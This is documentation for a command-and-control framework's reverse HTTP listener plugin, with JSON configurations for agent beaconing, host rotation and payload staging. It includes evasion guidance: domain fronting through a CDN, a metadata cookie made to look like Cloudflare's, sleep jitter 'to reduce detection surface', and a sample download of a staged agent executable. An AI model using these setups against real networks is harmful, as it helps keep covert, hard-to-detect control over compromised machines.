Skip to content

Reverse HTTP Listener

The HTTP Listener establishes an HTTP/HTTPS server on a specified port, managing bidirectional data traffic with agents. It provides secure and discreet communication channels between the C2 infrastructure and deployed agents, blending with regular web traffic patterns.

Plugin ID: shelldot.listener.agent-reverse-http


Configuration Reference

Connection

Parameter Type Required Default Description
port int Yes - Port number the agent calls home to. Also the listener port unless bindToPort is set.
bindToPort int No null Port number the listener actually binds to. When null, the port value is used. Useful when a reverse proxy or redirector sits in front of the listener.
https bool Yes - Protocol flag. false = HTTP, true = HTTPS.
startTime string No - Optional UTC start time for the listener (e.g. 2025-04-10T11:02:09Z).
instantResponses bool No false When true, the agent sends data immediately. When false, the agent waits for the sleep timeout before responding - better OPSEC but higher latency.

URIs and Metadata

Parameter Type Required Default Description
getUri string Yes - URI the agent uses for GET requests when it has no data to send (polling).
postUri string Yes - URI the agent uses for POST requests to send data (also receives data in the response).
stagedUri string No - URI for downloading a generated agent executable, DLL, service binary, or shellcode.
stagedUriPayloadId string No - GET parameter name that contains the payload ID when downloading via stagedUri.
filename string No - Template string for the Content-Disposition filename when serving payloads via stagedUri. See filename Template Functions below.
fileStorageUri string No - Base URI for retrieving files from file storage.
metadataCookieName string Yes - Cookie name used to carry agent metadata.
metadataPrefix string No "" String prepended to metadata before encoding.
metadataSuffix string No "" String appended to metadata before encoding.

Sleep

Parameter Type Required Default Description
sleep int Yes - Global base sleep time in seconds between agent requests. Can be overridden per callback group via httpCallbacks[].sleep.
sleepRandom int No 0 Global jitter in seconds added to the sleep time. Can be overridden per callback group via httpCallbacks[].sleepRandom.

Web Proxy

Parameter Type Required Default Description
webProxy string No - URL of the web proxy for agent connections (e.g. http://proxy.corp:8080).
webProxyUsername string No - Username for proxy authentication.
webProxyPassword string No - Password for proxy authentication.
webProxyWindowsAuth bool No false Use Kerberos/NTLM authentication for the proxy (Windows only).

HTTP Headers

Parameter Type Required Default Description
headers[] array No [] Additional HTTP headers sent with every agent request. Each entry is an object with name and value fields.

Example:

1
2
3
4
"headers": [
  { "name": "X-Forwarded-For", "value": "1.1.1.1" },
  { "name": "User-Agent", "value": "Mozilla/5.0 ..." }
]

Custom User-Agent

By default, agents use a built-in User-Agent string. Override it by adding a User-Agent entry to the headers array. The first request uses the default value; subsequent requests use the custom value.

Callback Groups (httpCallbacks[])

Each callback group defines a set of hosts the agent can connect to, along with independent sleep and rotation settings. Multiple callback groups allow the agent to use completely different connection profiles.

Parameter Type Required Default Description
hosts[] string[] Yes - IP addresses or hostnames the agent can connect to.
sleep int Yes - Base sleep time in seconds for this callback group.
sleepRandom int No 0 Jitter in seconds for this callback group.
hostHeaders[] string[] No [] HTTP Host header values used when connecting - enables domain fronting.
hostsRotation object No - Rotation rules for host selection. See Rotation Rules.
hostHeaderRotation object No - Rotation rules for host header selection. See Rotation Rules.

Multiple hosts shorthand

If hosts[] contains more than one entry, each host is treated as if it were its own callback group with the same rotation, sleep, and header settings. This is a shorthand to keep configurations compact. See the equivalent configurations example below.


Rotation Rules

Rotation rules define when the agent should switch to the next host or change the HTTP Host header. This is used for resilience (failover to backup endpoints) and evasion (domain fronting rotation).

Rotation Object

Parameter Type Required Description
type string Yes Rotation strategy: FAILOVER, ROTATE, or RANDOM.
counter int Yes Numeric threshold that triggers a rotation. Interpretation depends on type.
unit string Yes Unit for the counter: TRIES, SECONDS, MINUTES, or HOURS.

Rotation Types

FAILOVER - Switch to the next host/header after a number of consecutive failures.

  • Counter + TRIES: switch after N consecutive failed connection attempts
  • Counter + time unit: switch after N seconds/minutes/hours since the last successful connection

ROTATE - Switch to the next host/header after a number of total attempts (successful or not).

  • Counter + TRIES: switch after every N connection attempts
  • Counter + time unit: switch after N seconds/minutes/hours since the last rotation

RANDOM - Switch randomly before each request.

  • The probability of switching is 1/counter per request
  • The unit value is ignored for this type

Rotation Examples

Scenario Type Counter Unit Behavior
Switch after 7 requests (success or fail) ROTATE 7 TRIES Cycles through hosts every 7 attempts
Switch after 2 consecutive failures FAILOVER 2 TRIES Only switches when connectivity breaks
Switch after 3 min without success FAILOVER 3 MINUTES Time-based failover
Switch every hour ROTATE 1 HOURS Periodic rotation regardless of success
12.5% chance per request RANDOM 8 TRIES Random switching (1/8 probability)

Rotation Logic

The rotation logic follows the workflow below. Host rotation and host header rotation operate independently, each with their own counters. When both trigger simultaneously, the host rotation takes priority and the host header counter resets.

HTTP rotation flow diagram

Counter independence

A successful connection resets the FAILOVER counter for host rotation but does not affect the host header rotation counter. Each counter tracks its own state independently.


Configuration Scenarios

Scenario 1 - Basic HTTP Beaconing

The minimal configuration for an agent calling back over plain HTTP. Suitable for lab environments or controlled exercises.

{
  "port": 8080,
  "https": false,
  "sleep": 10,
  "sleepRandom": 3,
  "getUri": "/updates",
  "postUri": "/submit",
  "metadataCookieName": "SESSID",
  "metadataPrefix": "",
  "metadataSuffix": "",
  "httpCallbacks": [
    {
      "hosts": ["192.168.1.100"],
      "sleep": 10,
      "sleepRandom": 3,
      "hostHeaders": []
    }
  ]
}

Scenario 2 - HTTPS with Domain Fronting

The agent connects to a CDN edge IP but sends a different Host header pointing to a CDN-fronted domain. Traffic appears as legitimate CDN activity. Requires an HTTPS listener and a valid (or self-signed) certificate.

{
  "port": 443,
  "https": true,
  "sleep": 30,
  "sleepRandom": 10,
  "getUri": "/cdn-cgi/trace",
  "postUri": "/cdn-cgi/beacon",
  "metadataCookieName": "__cf_bm",
  "metadataPrefix": "",
  "metadataSuffix": "",
  "headers": [
    { "name": "X-Forwarded-For", "value": "1.1.1.1" }
  ],
  "httpCallbacks": [
    {
      "hosts": ["104.21.0.1"],
      "sleep": 30,
      "sleepRandom": 10,
      "hostHeaders": ["legit-site.example.com"],
      "hostHeaderRotation": {
        "type": "ROTATE",
        "counter": 1,
        "unit": "HOURS"
      }
    }
  ]
}

Info

Domain fronting requires that the CDN or proxy permits requests with a mismatched Host header. Some CDN providers have restrictions on this technique. Test in your environment before relying on it operationally.


Scenario 3 - Resilient Multi-Endpoint Rotation

The agent alternates between multiple C2 endpoints across different IPs. Designed for long-haul operations where individual endpoints may go offline or get blocked. The FAILOVER strategy ensures the agent only switches when connectivity actually breaks.

{
  "port": 443,
  "https": true,
  "sleep": 60,
  "sleepRandom": 20,
  "getUri": "/api/health",
  "postUri": "/api/events",
  "metadataCookieName": "session_id",
  "metadataPrefix": "",
  "metadataSuffix": "",
  "httpCallbacks": [
    {
      "hosts": [
        "c2-primary.example.com",
        "c2-secondary.example.com",
        "c2-tertiary.example.com"
      ],
      "sleep": 60,
      "sleepRandom": 20,
      "hostsRotation": {
        "type": "FAILOVER",
        "counter": 3,
        "unit": "TRIES"
      },
      "hostHeaders": [
        "c2-primary.example.com",
        "c2-secondary.example.com",
        "c2-tertiary.example.com"
      ],
      "hostHeaderRotation": {
        "type": "FAILOVER",
        "counter": 3,
        "unit": "TRIES"
      }
    }
  ]
}

How it works:

  1. Agent connects to c2-primary.example.com
  2. After 3 consecutive failures, it switches to c2-secondary.example.com
  3. After 3 more consecutive failures, it moves to c2-tertiary.example.com
  4. The cycle repeats - the agent keeps retrying all endpoints indefinitely
  5. A successful connection resets the failure counter for that host

Tip

For maximum resilience, host each endpoint on a different cloud provider or geographic region. Combine with long sleep intervals (sleep: 300+) to reduce detection surface during low-activity periods.


Scenario 4 - Detailed Rotation Walkthrough

A configuration with two IPs and three host headers, showing exactly how rotation counters interact.

{
  "port": 8070,
  "https": true,
  "httpCallbacks": [
    {
      "hosts": ["1.2.3.4", "5.6.7.8"],
      "hostsRotation": {
        "type": "FAILOVER",
        "counter": 9,
        "unit": "TRIES"
      },
      "sleep": 10,
      "sleepRandom": 1,
      "hostHeaders": ["alpha", "bravo", "charlie"],
      "hostHeaderRotation": {
        "type": "FAILOVER",
        "counter": 3,
        "unit": "TRIES"
      }
    }
  ],
  "fileStorageUri": "/files/",
  "getUri": "/ask_commands",
  "postUri": "/give_result",
  "metadataCookieName": "PHPSESSID",
  "metadataPrefix": "",
  "metadataSuffix": "",
  "sleep": 10,
  "sleepRandom": 0,
  "headers": [
    { "name": "Extra-Header-Name", "value": "Extra-Header-Value" }
  ]
}

Step-by-step rotation behavior:

  1. Agent starts connecting to 1.2.3.4 with host header alpha
  2. After 3 consecutive failures, the host header switches to bravo (host stays at 1.2.3.4 - only 3 of 9 failures reached)
  3. After 3 more consecutive failures, the host header switches to charlie (host still 1.2.3.4 - only 6 of 9 failures)
  4. After 3 more failures, both rotation rules trigger simultaneously. Host rotation takes priority:
    • Connection switches to 5.6.7.8
    • Host header counter resets back to alpha
  5. The pattern repeats for 5.6.7.8: header rotates through alphabravocharlie every 3 failures
  6. After 9 total failures on 5.6.7.8, the host rotates back to 1.2.3.4 (circular selection) and headers reset to alpha

Info

The counters for host rotation and host header rotation operate independently. If there are three failed connections followed by a successful connection, and then six subsequent failures, the connection will not switch to 5.6.7.8 - its counter resets after the successful connection. Similarly, host header counters reset after each rotation trigger, so in this case the host header will have rotated three times and returned to "charlie".


Equivalent Configurations

When the hosts[] array in a callback group contains more than one entry, it is shorthand for multiple callback groups with identical settings. These two configurations are equivalent:

Compact form (two hosts in one callback group):

{
  "port": 8089,
  "httpCallbacks": [
    {
      "hosts": ["localhost", "192.168.1.100"],
      "hostsRotation": { "type": "ROTATE", "counter": 7, "unit": "TRIES" },
      "sleep": 3000,
      "sleepRandom": 1000,
      "hostHeaders": ["alpha", "bravo", "charlie"],
      "hostHeaderRotation": { "type": "FAILOVER", "counter": 2, "unit": "TRIES" }
    }
  ],
  "getUri": "/GIVEITTOME",
  "postUri": "/NOWIGIVETOYOU",
  "stagedUri": "/candy",
  "fileStorageUri": "/files/",
  "metadataCookieName": "PHPSESSID",
  "metadataPrefix": "ABC",
  "metadataSuffix": "XYZ",
  "https": false,
  "startTime": "2023-04-10T11:02:09Z",
  "headers": [
    { "name": "Extra-Header-Name", "value": "Extra-Header-Value" }
  ],
  "sleep": 1500
}

Expanded form (each host in its own callback group):

{
  "port": 8089,
  "httpCallbacks": [
    {
      "hosts": ["localhost"],
      "hostsRotation": { "type": "ROTATE", "counter": 7, "unit": "TRIES" },
      "sleep": 3000,
      "sleepRandom": 1000,
      "hostHeaders": ["alpha", "bravo", "charlie"],
      "hostHeaderRotation": { "type": "FAILOVER", "counter": 2, "unit": "TRIES" }
    },
    {
      "hosts": ["192.168.1.100"],
      "hostsRotation": { "type": "ROTATE", "counter": 7, "unit": "TRIES" },
      "sleep": 3000,
      "sleepRandom": 1000,
      "hostHeaders": ["alpha", "bravo", "charlie"],
      "hostHeaderRotation": { "type": "FAILOVER", "counter": 2, "unit": "TRIES" }
    }
  ],
  "getUri": "/GIVEITTOME",
  "postUri": "/NOWIGIVETOYOU",
  "stagedUri": "/candy",
  "fileStorageUri": "/files/",
  "metadataCookieName": "PHPSESSID",
  "metadataPrefix": "ABC",
  "metadataSuffix": "XYZ",
  "https": false,
  "startTime": "2023-04-10T11:02:09Z",
  "headers": [
    { "name": "Extra-Header-Name", "value": "Extra-Header-Value" }
  ],
  "sleep": 1500
}


filename Template Functions

Template tokens for the filename parameter, which controls the Content-Disposition header when payloads are served via stagedUri.

Template Description
{rand_str_X} Random case-insensitive string of length X (e.g. {rand_str_10} produces A9JfMQRwq8).
{rand_str_X_Y} Random string with length between X and Y (e.g. {rand_str_9_20}).
{rand_int_X_Y} Random integer between X and Y (e.g. {rand_int_9_2000000000}).
{ext} File extension of the requested payload, including the dot (e.g. .exe, .dll).
{payload_id} Payload ID of the requested payload.

Example:

"filename": "{rand_str_10}-Little-{rand_str_9_20}-Agent-{rand_int_9_2000000000}-With-{payload_id}-{ext}"

Result:

> GET /payload?payloadId=4 HTTP/1.1
> Host: skippy.and.joe
> User-Agent: curl/1337.81.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Content-Type: application/octet-stream
< Content-Disposition: attachment; filename="A9JfMQRwq8-Little-guhRgWYRqV-Agent-391964415-With-4-.exe"
< Content-Length: 770560